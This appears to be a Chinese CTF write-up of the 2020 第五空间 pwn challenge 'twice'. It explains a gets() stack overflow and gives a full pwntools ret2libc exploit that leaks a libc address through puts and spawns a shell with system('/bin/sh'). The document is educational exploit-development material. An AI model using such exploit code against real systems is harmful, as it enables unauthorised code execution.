2020第五空间智能安全大赛Pwn题twice详解:从漏洞分析到Exploit编写

1次阅读
没有评论

共计 2162 个字符,预计需要花费 6 分钟才能阅读完成。

image.webp

背景分析

这道题目来自 2020 年第五空间智能安全大赛,是一个典型的栈溢出漏洞利用题目。运行环境为 Ubuntu 18.04,使用 GLIBC 2.27 版本。题目开启了 NX/DEP 保护,这意味着我们不能直接在栈上执行 shellcode,必须使用 ROP(Return-Oriented Programming)技术来完成利用。

2020 第五空间智能安全大赛 Pwn 题 twice 详解:从漏洞分析到 Exploit 编写

漏洞定位

使用 IDA Pro 进行静态分析,很快就能发现程序中存在一个明显的栈溢出漏洞:

int vuln() {char buf[32];
    gets(buf); // 危险函数调用,没有限制输入长度
    return 0;
}

这个函数使用了不安全的 gets() 函数,它不会检查输入长度,可以覆盖栈上的返回地址。通过计算可以知道,我们需要填充 32 字节缓冲区 + 8 字节的保存的 rbp,总共 40 字节后就能控制返回地址。

利用开发

1. 构造 ROP 链

由于 NX 保护开启,我们需要构造 ROP 链来执行我们的攻击。基本思路是:

  1. 泄露 libc 地址
  2. 计算 system 和 /bin/sh 的地址
  3. 调用 system(“/bin/sh”)

首先,我们需要找到一些有用的 gadget:

ROPgadget --binary twice --only "pop|ret"

找到 pop rdi; ret 这个关键 gadget,它将帮助我们传递参数给函数。

2. 泄露 libc 地址

我们可以通过调用 puts 函数来打印 GOT 表中的函数地址。下面是关键代码:

from pwn import *

context.log_level = 'debug'

# 找到关键 gadget 和函数地址
pop_rdi = 0x400733 # pop rdi; ret
puts_plt = 0x400520
puts_got = 0x601018

# 第一次溢出:泄露 puts 的地址
payload = b'A'*40
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(0x400636) # 重新回到 vuln 函数

p = process('./twice')
p.sendline(payload)

# 接收泄露的地址
puts_addr = u64(p.recvline().strip().ljust(8, b'\x00'))
log.info(f"puts address: {hex(puts_addr)}")

3. 计算 system 地址

根据泄露的 puts 地址,我们可以计算 libc 基址和 system 地址:

# 计算 libc 基址和 system 地址
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

log.info(f"libc base: {hex(libc_base)}")
log.info(f"system address: {hex(system_addr)}")
log.info(f"/bin/sh address: {hex(binsh_addr)}")

4. 最终利用

现在我们可以构造最终的 ROP 链来获取 shell:

# 第二次溢出:调用 system("/bin/sh")
payload = b'A'*40
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)

p.sendline(payload)
p.interactive()

防护绕过

题目启用了 ASLR(地址空间布局随机化),这意味着 libc 的基址每次运行都会变化。我们通过泄露 libc 函数的地址来绕过这个保护。这是一种常见的技术,称为 ”memory leak”。

避坑指南

新手在解决这类题目时,经常会遇到以下问题:

  1. 栈对齐问题 :在调用函数前,栈需要 16 字节对齐。有时候需要额外添加一个ret 指令来调整栈指针。

  2. gadget 选择不当:确保你选择的 gadget 不会破坏后续的 ROP 链。

  3. 接收数据不完整:在接收泄露的地址时,确保你读取了足够的数据,并正确解析它。

  4. libc 版本不匹配:确保你使用的 libc 版本与目标系统一致。

扩展思考

为了进一步练习,你可以尝试以下挑战:

  1. 如果题目增加了 Canary 保护,你该如何绕过?
  2. 如果题目使用了较新的 libc 版本(如 2.31+),ROP 链需要做哪些调整?
  3. 尝试使用 one_gadget 而不是 system 来获取 shell。

总结

通过这道题目,我们学习了一个完整的栈溢出漏洞利用过程:从漏洞发现、ROP 链构造、libc 地址泄露到最终获取 shell。这是 Pwn 方向最基础也是最重要的技能之一。建议读者在理解这个例子的基础上,尝试解决其他类似的 CTF 题目来巩固知识。

实战练习建议

  1. 修改题目二进制文件,增加 Canary 保护,然后尝试绕过它
  2. 尝试在远程服务器上运行这个 exploit
  3. 编写一个通用的 exploit 框架,可以自动适应不同的 libc 版本
  4. 研究其他类似的 CTF 题目,比较它们的解题思路

记住,Pwn 技能需要通过大量实践来掌握。每解决一道题目,都要总结学到的技巧和方法。祝你学习顺利!

正文完
 0
评论(没有评论)